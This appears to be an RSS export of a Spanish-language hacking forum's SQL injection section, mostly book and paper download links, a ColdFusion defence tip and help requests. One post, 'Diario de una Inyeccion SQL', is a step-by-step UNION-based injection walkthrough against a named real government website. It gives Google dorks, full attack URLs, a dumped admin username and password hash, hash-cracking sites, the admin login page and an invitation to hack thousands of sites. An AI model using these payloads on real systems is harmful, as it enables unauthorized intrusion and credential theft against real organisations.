<title>The Database Hacker's Handbook: Defending Database Servers (no replies)</title><link>https://foro.undersecurity.net/read.php?46,4779,4779#msg-4779</link><description><![CDATA[Esta en CHM (formato Windows), pero con chmsee se visualiza perfecto ¡<br /><hr class="bbcode"/><br /><img src="http://www.ubuntu-pics.de/bild/28832/screenshot_038_Ifcum6.png" class="bbcode" border="0" /><br /><br /><pre class="bbcode">
Databases are the nerve center of our economy. Every piece of your personal information is stored thereâ€”medical records, bank accounts, employment history, pensions, car registrations, even your children's grades and what groceries you buy. Database attacks are potentially cripplingâ€”and relentless.

In this essential follow-up to The Shellcoder's Handbook, four of the world's top security experts teach you to break into and defend the seven most popular database servers. You'll learn how to identify vulnerabilities, how attacks are carried out, and how to stop the carnage. The bad guys already know all this. You need to know it too.

- Identify and plug the new holes in Oracle and Microsoft SQL Server
- Learn the best defenses for IBM's DB2, PostgreSQL, Sybase ASE, and MySQL servers
- Discover how buffer overflow exploitation, privilege escalation through SQL, stored procedure or trigger abuse, and SQL injection enable hacker access
- Recognize vulnerabilities peculiar to each database
- Find out what the attackers already know</pre><br /><a href="http://rapidshare.com/files/213065229/DatabHac.zip" target="_blank" rel="nofollow" >Download</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injections Generales</category><pubDate>Tue, 27 Oct 2009 21:50:01 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,4742,4742#msg-4742</guid>
<title>SQL Injection Attacks and Defense [Recomendado] (3 replies)</title><link>https://foro.undersecurity.net/read.php?46,4742,4742#msg-4742</link><description><![CDATA[<center class="bbcode"><img src="http://i34.tinypic.com/t7ea0l.jpg" class="bbcode" border="0" /><br /><br />Justin Clarke &quot;SQL Injection Attacks and Defense&quot;<br />May 2009 | English | ISBN-13: 978-1-59749-424-3 | 494 Pages | PDF | 5.72 MB<br />SQL injection represents one of the most dangerous and well-known, yet misunderstood, security vulnerabilities on the Internet, largely because there is no central repository of information to turn to for help. This is the only book devoted exclusively to this long-established but recently growing threat. It includes all the currently known information about these attacks and significant insight from its contributing team of SQL injection experts.</center><br /><br /><br /><a href="http://rs678.rapidshare.com/files/293913580/BR-1162-SIAD.rar" target="_blank" rel="nofollow" ><b>DOwnload</b></a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injections Generales</category><pubDate>Mon, 26 Oct 2009 18:41:42 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,4655,4655#msg-4655</guid>
<title>SQL Injection Attacks for ORACLE Developers (1 reply)</title><link>https://foro.undersecurity.net/read.php?46,4655,4655#msg-4655</link><description><![CDATA[<img src="http://www.ubuntu-pics.de/bild/27827/screenshot_034_kosngK.png" class="bbcode" border="0" /><br /><br /><a href="http://www.integrigy.com/security-resources/whitepapers/Integrigy_Oracle_SQL_Injection_Attacks.pdf" target="_blank" rel="nofollow" >Download</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injections Generales</category><pubDate>Wed, 21 Oct 2009 21:43:53 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,4642,4642#msg-4642</guid>
<title>Sport.es? (7 replies)</title><link>https://foro.undersecurity.net/read.php?46,4642,4642#msg-4642</link><description><![CDATA[Buenas, me gustaría preguntar una cosa, ya que estoy empezando en SQL (bueno aún en teoría de BD...) y en la página de un conocido periódico deportivo de aquí de españa, concretamente en <a href="http://www.sport.es/11idealFormulari.asp?tipus11=BL&amp;idTemporada=49&amp;idCompeticion=31&amp;idJornada=-1" target="_blank" rel="nofollow" >esta página</a>, cuando rellenas y le das a enviar te sale un error de SQL, es posible &quot;explotar&quot; algo de ahí? Por simple curiosidad, me salió eso y como ustedes tienen conocimientos avanzados del mismo, quisera preguntarles...<br /><br />Gracias]]></description>
<dc:creator>BlDKr</dc:creator>
<category>SQL Injections Generales</category><pubDate>Sat, 17 Oct 2009 22:06:34 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,4638,4638#msg-4638</guid>
<title>¿Como Evitar SQL injection en ColdFusion ? (no replies)</title><link>https://foro.undersecurity.net/read.php?46,4638,4638#msg-4638</link><description><![CDATA[Cuando se incorporan consultas a ColdFusion, sin etiquetas cfqueryparams, se debilita la seguridad del sistema haciéndolo vulnerable a ataques de SQL injection. Las etiquetas cfqueryparams previenen de ataques SQL injection porque sirven para:<br /><br />* Comprobar los tipos de datos que se incorporan a un parámetro.<br />* Separar el código SQL de los parámetros introducidos.<br />* Garantizar que los valores de un parámetro nunca se agreguen a una consulta SQL modificando la misma para realizar un ataque.<br /><br /><img src="http://3.bp.blogspot.com/_hS7JC7hfz9A/StdjRjn_jxI/AAAAAAAAAic/XI_l1fggHKg/s1600/qpscanner_v0.7_s3.png" class="bbcode" border="0" /><br /><br />Con la herramienta qpScanner es posible explorar el código, en busca de consultas con variables que no estén dentro de una etiqueta cfqueryparam.<br /><br />Entre las características de qpScanner destaca:<br /><br />* Encuentra todas las variables en consultas sin un cfqueryparam circundante.<br />* Exhibe nombres de fichero, las líneas de código y el contenido de la pregunta para todos los riesgos potenciales.<br />* Múltiples formatos de presentación de resultados (HTML, XML y WDDX).<br />* Soporta: ColdFusion 8, ColdFusion MX7, BlueDragon 7 y Railo 3.<br /><br /><br />Más información y descarga de qpScanner:<br />http://qpscanner.riaforge.org/<br /><br />Más información sobre cfqueryparams en ColdFusion:<br />http://www.moopoint.com/tutorials/queryparam_intro.html<br /><br /><a href="http://vtroger.blogspot.com/2009/10/evitar-sql-injection-en-coldfuson.html" target="_blank" rel="nofollow" >Fuente</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injections Generales</category><pubDate>Fri, 16 Oct 2009 18:47:58 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,4618,4618#msg-4618</guid>
<title>Videos Tutoriales que Explican Como se Logra Generar una Injeccion SQL en Oracle (no replies)</title><link>https://foro.undersecurity.net/read.php?46,4618,4618#msg-4618</link><description><![CDATA[<img src="http://www.ubuntu-pics.de/bild/27409/screenshot_028_J0lP0L.png" class="bbcode" border="0" /><br /><br /><a href="http://st-curriculum.oracle.com/tutorial/SQLInjection/index.htm" target="_blank" rel="nofollow" ><b>IR</b></a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injections Generales</category><pubDate>Tue, 13 Oct 2009 20:48:53 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,4415,4415#msg-4415</guid>
<title>Diario de una Inyeccion SQL by LU73K (7 replies)</title><link>https://foro.undersecurity.net/read.php?46,4415,4415#msg-4415</link><description><![CDATA[Bueno primero que nada hay que saber buscar webs vulnerables, les dejo algunos ejemplos de posibles busquedas con google:<br /><br />inurl:newsDetail.php?id=<br />inurl:gov+noticias.php?id=<br /><br />Basicamente esas son dos lindas formas de buscar webs vunerables, es cuestion de ir probando dorks y pensar que tipo de web estoy buscando pra vulnerar.<br /><br />En este tuto voy a usar un ejemplo con la web del Ministerio Nacional de Defensa de Camboya para que entiendan que cualquier kaker puede ownear una web X o un gov &gt;.&lt;<br /><br />Para encontrar un gov en mi caso use el siguiente dork:<br /><br />inurl:gov.kh+news.php?id=<br />(kh Camboya)<br /><br />Me tope con el ministerio y chequie si la web era vulnerable:<br /><br />http://www.mond.gov.kh/news.php?id='<br /><br />Efectivamente era vulnerable dado que me tiro error:<br /><br />Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/mondweb/public_html/news.php on line 55<br /><br />Despues de esto se buscan tablas colocando despues del “=” “-1+union+select+1--” y ahi seguimos aumentando los números como en el siguiente ejemplo:<br /><br />http://www.mond.gov.kh/news.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9--<br /><br />Ahí nos arroja unos numeritos que indican que llegamos a una tabla vulnerable.<br /><br />Ahora vamos a buscar el nombre de la tabla sustituyendo cualquiera de los numeros arrojados en la consulta por “table_name” en nuestra url.<br /><br />http://www.mond.gov.kh/news.php?id=-1+UNION+SELECT+1,table_name,3,4,5,6,7,8,9--<br /><br />Despues al final del ultimo nùmero agregamos “+from+information_schema.tables--”<br /><br />http://www.mond.gov.kh/news.php?id=-1+UNION+SELECT+1,table_name,3,4,5,6,7,8,9+from+information_schema.tables--<br /><br />Como tiene “schema” nos tiro un nombre de tabla por default “CHARACTER_SETS”ahora en caso de que no tuviera “information_schema” ahi estaria complicado porque habria que brutear las tablas y eso lo dejamos para otro tutorial.<br /><br />Lo que sigue es buscar algun tabla que nos sirva como la de admin o users, cualquier cosa que te permita logearte en el panel de admin o sacar info interesante.<br /><br />Para seguir conociendo las tablas agregamos “+limit+1,1” y vamos incrementando el primer 1 a medida que nos va dando nombres de las tablas.<br /><br />http://www.mond.gov.kh/news.php?id=-1+UNION+SELECT+1,table_name,3,4,5,6,7,8,9+from+information_schema.tables+limit+3,1--<br /><br />Asi podemos seguir incrementando hasta dar con la tabla o podemos concatenar por grupo y mirar todas las tablas juntas:<br /><br />http://www.mond.gov.kh/news.php?id=-1+UNION+SELECT+1,group_concat(table_name),3,4,5,6,7,8,9<br />+from+information_schema.tables--<br /><br />Obtendriamos el siguiente resultado:<br /><br />CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,tblmondnews,tblusers<br /><br />Hay que tener en cuenta que puede suceder que no se nos muestren todas las tablas en la ventana, cuando ustedes ven que en una web concatenaron y no sacaron ninguna tabla interesante puede ser porque no este en la ventana del nvegador y ahi no se desesperen y usen “limit” y busquen por ese metodo mas tediosos pero seguro xD.<br /><br />En este caso encntre la tabla “tblusers”<br /><br />Ahora tendriamso que buscar columnas importantes dentro de la tabla que nos den login. Pass,etc..<br /><br />Lo que tenemos que hacer es cambiar dodne colocamos “table_name” por “column_name” y modificar la injection por:<br /><br />+from+information_schema.columns+where+table_name=char(116,98,108,117,115,101,114,115)+limit+0,1--<br /><br />Se preguntaran porque aparece l serie : 116,98,108,117,115,101,114,115 y eso es porque el nombre de la tabla “tblusers” en ASCII es 116,98,108,117,115,101,114,115 xD<br /><br />Aca les ejo un convertidor online: http://getyourwebsitehere.com/jswb/text_to_ascii.html<br /><br />Ahora podemos ir recorriendo las columnas con “limit+1,1--”<br /><br />http://www.mond.gov.kh/news.php?id=1+union+all+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.columns+where+table_name=char(116,98,108,117,115,101,114,115)+limit+1,1--<br /><br />Ahi me arrojo el nombre de la columna: UserName.<br /><br />Pueden seguir incrementando “limit” o concatenar como hicimos con las tablas de la misma forma:<br /><br />http://www.mond.gov.kh/news.php?id=1+union+all+select+1,2,group_concat(column_name),4,5,6,7,8,9+from+information_schema.columns+where+table_name=char(116,98,108,117,115,101,114,115)--<br /><br />Ahora tenemos todas las columnas de la tabla “tblusers”<br /><br />uid,UserName,UPwd,AccType,RegDate,LastLogin,CounterLogin<br /><br />Una vez que tenemos todo necesitamos sacar los datos concatenando nuveamente de la siguiente forma:<br /><br />http://www.mond.gov.kh/news.php?id=1+union+all+select+1,2,concat(Username,0x3a,Upwd),4,5,6,7,8,9+from+tblusers--<br /><br />Resultado:<br /><br />admin:2a3aeea5c8a0ff9a428cba65ebceb7e8 :D<br /><br />En este caso hay un solo admin y user pero si queremos sacar mas users podemos concatenar el grupo de la siguiente forma:<br /><br />http://www.mond.gov.kh/news.php?id=1+union+all+select+1,2,group_concat(Username,0x3a,Upwd),4,5,6,7,8,9+from+tblusers--<br /><br />Tmbien sucedio que en este caso la contraseña de Admin esta en MD5 y hay que crakearla (era de esperarse que como Ministeri Nacional de Defensa por lo menos tubieran una contraseña protegidita XD)<br /><br />Hay webs que les van a dr la password en texto plano y otras que van a joder como en este caso, yo les recomiendo que usen google para crackear los hashes o tmb pueden ir al sitio de Zer0_Z0rG<br />http://www.informaticaxd.com.ar/ind3x.php?tool=md5 y probar suerte jeje<br /><br />Una ùltima cosa antes de terminar con el tuto es enseñarles abuscar un panel de Admin, pueden usar Crawlers como el de Acunetix, pueden usar Pipper si estan en GNU/Linux o cualquier script que tenga un bue ndiccionario.<br /><br />En mi caso sucede que el panelde admin del MOND.gov.kh es:<br /><br />http://www.mond.gov.kh/login.html<br /><br />Yapa final:<br /><br />Aca les dejo el scanner de inyecciones SQL desarrolado por el grupo F-Security subido Online y funcional: http://www.upperbasement.com/STMB/<br /><br />Aprovechen mientras este online y funcione que les facilita e trabajo solo tiene que colocar la url hasta el id y la scanea en busca de tablas vulnerbles ytmb encuentra “information_schema” si esta.<br /><br />Creo que con esto estamos y doy por finalizado el tutorial, vallan a kakear 12344 webs o sigan estudiando y entiendan poruqe carajo ocurre todo esto y cuales son las vias de solucion al problema<br /><br />Saludos...]]></description>
<dc:creator>LU73K</dc:creator>
<category>SQL Injections Generales</category><pubDate>Tue, 23 Feb 2010 15:48:45 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,4074,4074#msg-4074</guid>
<title>¿Cuantos tipos de Injecciones SQL Existen? (1 reply)</title><link>https://foro.undersecurity.net/read.php?46,4074,4074#msg-4074</link><description><![CDATA[<b>¿Cuantos tipos de Injecciones SQL Existen?</b><br /><br /><br /><ol type="1"><li>SQL Union Injection</li><li>Blind SQL Injection</li><li>Blind Time Based SQL Injection</li><li>Blind Time Based SQL Injection With heavy Querys</li></ol>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injections Generales</category><pubDate>Mon, 19 Oct 2009 18:48:38 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,4064,4064#msg-4064</guid>
<title>¿Que se puede obtener a travez de las Inyecciones SQL? (no replies)</title><link>https://foro.undersecurity.net/read.php?46,4064,4064#msg-4064</link><description><![CDATA[¿Que se puede obtener a travez de las Inyecciones SQL?<br /><br />Básicamente esto depende del usuario que se conecta a la base de datos y sus permisos, ya que dependiendo de estos ultimos, podríamos ver, o modificar e inclusive crear datos.<br /><br />Algunas Inyecciones nos permiten tal como se mencionó acceder a datos, algunos otros casos ingresar a paneles de Administración de sitios, entre otros.<br /><br />Es un riesgo muy grande poseer errores de programación en nuestro sitio web que permitan inyecciones SQL, ya que con ello podríamos llegar a comprometer toda la seguridad de nuestro servidor.]]></description>
<dc:creator>1995</dc:creator>
<category>SQL Injections Generales</category><pubDate>Sat, 29 Aug 2009 00:28:54 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,4041,4041#msg-4041</guid>
<title>Ayuda con injección SQL en oracle (2 replies)</title><link>https://foro.undersecurity.net/read.php?46,4041,4041#msg-4041</link><description><![CDATA[Tengo una web vulnerable a oracle pero no sé como explotarlo :p<br /><br />Cuando meto esto:<br /><br /><pre class="sql bbcode_geshi"><div class="head">Language: SQL</div>a<span class="st0">'</span></pre><br />da error<br /><br />y cuando meto esto:<br /><br /><pre class="sql bbcode_geshi"><div class="head">Language: SQL</div>a<span class="st0">''</span></pre><br />no da error :p<br /><br />así que me imaginé que la sentencia seria algo así ya que al meter % en el buscador (es un buscador la parte vulnerable) no da error y muestra todos los registros:<br /><br /><pre class="sql bbcode_geshi"><div class="head">Language: SQL</div><span class="kw1">SELECT</span> <span class="sy0">*</span> <span class="kw1">FROM</span> tabla <span class="kw1">WHERE</span> campo <span class="kw1">LIKE</span> <span class="st0">'%valor%'</span></pre><br />así que probé introduciendo:<br /><br /><pre class="sql bbcode_geshi"><div class="head">Language: SQL</div><span class="st0">' or '</span>%<span class="st0">'='</span></pre><br />pero sigue dando error :'(<br /><br />alguna sugerencia :p??]]></description>
<dc:creator>h</dc:creator>
<category>SQL Injections Generales</category><pubDate>Wed, 26 Aug 2009 15:11:40 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,3824,3824#msg-3824</guid>
<title>Penetration from application down to OS [Oracle Database] (no replies)</title><link>https://foro.undersecurity.net/read.php?46,3824,3824#msg-3824</link><description><![CDATA[<img src="http://www.ubuntu-pics.de/bild/21282/screenshot_010_Dw9K1z.png" class="bbcode" border="0" /><br /><br /><a href="http://lib.undersecurity.net/index.php?download=./SQLI/Oracle/Penetration_from_application_down_to_OS_(Oracle%20database).pdf" target="_blank" rel="nofollow" ><b><span style="color:#FF0000">Download</span></b></a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injections Generales</category><pubDate>Fri, 07 Aug 2009 23:06:15 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,3652,3652#msg-3652</guid>
<title>ALL SQL Injection Videos [Mysql,Postgresql,MSSQL..] (6 replies)</title><link>https://foro.undersecurity.net/read.php?46,3652,3652#msg-3652</link><description><![CDATA[<img src="http://i26.tinypic.com/2cr13qc.jpg" class="bbcode" border="0" /><br /><br /><a href="http://s2.dosya.tc/Sqlderslerim_hayber.rar.html" target="_blank" rel="nofollow" >Download</a><br /><br /><a href="http://forum.darkc0de.com/index.php?action=vthread&amp;forum=19&amp;topic=11411" target="_blank" rel="nofollow" >Fuente</a><br /><br /><br /><hr class="bbcode"/>
Buenos videos , para hacerse una idea de como son las injecciones en otras base de datos.]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injections Generales</category><pubDate>Mon, 16 Nov 2009 00:06:17 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,3532,3532#msg-3532</guid>
<title>“Vulnerabilidades en Aplicaciones Web PHP” [SQL Injection PostgreSQL] (no replies)</title><link>https://foro.undersecurity.net/read.php?46,3532,3532#msg-3532</link><description><![CDATA[Buscando por Google me encontré con este Pdf, bastante interesante.<br />Es de un Congreso Llamado ciisa del año 2007.<br />En lo personal me gusto la Parte de las Inyecciones en Postgresql.<br /><br /><img src="http://www.ubuntu-pics.de/bild/19841/screenshot_175_4BAgsI.png" class="bbcode" border="0" /><br /><br /><pre class="bbcode">
Ejercicio 1. Explotar SQL Injection en consulta de inserción. ( 10 Minutos )
Ejercicio 2. Explotar SQL Injection para burlar una pantalla de autenticación. ( 10 Minutos )
Ejercicio 3. Explotar SQL Injection para cambiar el password de los usuarios. ( 10 Minutos )
Ejercicio 4. Proteger el sistema de SQL injection con PDO y pg_escape_string(). ( 30 Minutos )
Ejercicio 5. Enviar un valor no válido para un campo HTML &lt;select&gt;. ( 15 Minutos )
Ejercicio 6. Code Injection ( 15 Minutos )
Ejercicio 7. Usar Ethereal para capturar un sessid y robar la sesión ( 15 Minutos )
Ejercicio 8. Crear un sessid y usarlo para robar una sesiòn ( 15 Minutos )
Ejercicio 9. Proteger la información de sesión en una base de datos ( 30 Minutos )
Ejercicio 10. Proteger el sessid ligandolo a la IP del usuario que inicia sesión. ( 10 Minutos )</pre><br /><br /><br /><a href="http://lib.undersecurity.net/index.php?download=./SQLI/PostgreSQL-SQLI/congresos-ciisa2007/cissa2007.rar" target="_blank" rel="nofollow" >Download</a><br /><a href="http://www.moythreads.com/congresos/ciisa2007/" target="_blank" rel="nofollow" >Fuente</a><br /><br />Saludos¡]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injections Generales</category><pubDate>Fri, 24 Jul 2009 18:04:21 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,3417,3417#msg-3417</guid>
<title>An Introduction to SQL Injection Attacks for Oracle Developers (no replies)</title><link>https://foro.undersecurity.net/read.php?46,3417,3417#msg-3417</link><description><![CDATA[<img src="http://www.ubuntu-pics.de/bild/19284/screenshot_159_mFY6N4.png" class="bbcode" border="0" /><br /><br /><br /><a href="http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf" target="_blank" rel="nofollow" >Download</a><br /><a href="http://www.integrigy.com/security-resources/whitepapers/Integrigy_Oracle_SQL_Injection_Attacks.pdf" target="_blank" rel="nofollow" >Mirror</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injections Generales</category><pubDate>Sun, 19 Jul 2009 22:35:18 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,3260,3260#msg-3260</guid>
<title>Having Fun With PostgreSQL (no replies)</title><link>https://foro.undersecurity.net/read.php?46,3260,3260#msg-3260</link><description><![CDATA[<img src="http://www.ubuntu-pics.de/bild/18417/screenshot_133_y6E28H.png" class="bbcode" border="0" /><br /><a href="http://lib.undersecurity.net/index.php?download=./SQLI/Having_Fun_With_PostgreSQL.pdf" target="_blank" rel="nofollow" ><b>Descargar</b></a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injections Generales</category><pubDate>Sat, 11 Jul 2009 22:17:04 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?46,2973,2973#msg-2973</guid>
<title>Advanced PostgreSQL SQL Injection and Filter Bypass Techniques (no replies)</title><link>https://foro.undersecurity.net/read.php?46,2973,2973#msg-2973</link><description><![CDATA[<img src="http://www.ubuntu-pics.de/bild/17426/screenshot_079_92q2Ps.png" class="bbcode" border="0" /><br /><br /><a href="http://www.milw0rm.com/papers/343" target="_blank" rel="nofollow" ><b><span style="color:#FF0000">Download</span></b></a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injections Generales</category><pubDate>Mon, 29 Jun 2009 21:37:14 -0400</pubDate></item>
</channel>
</rss>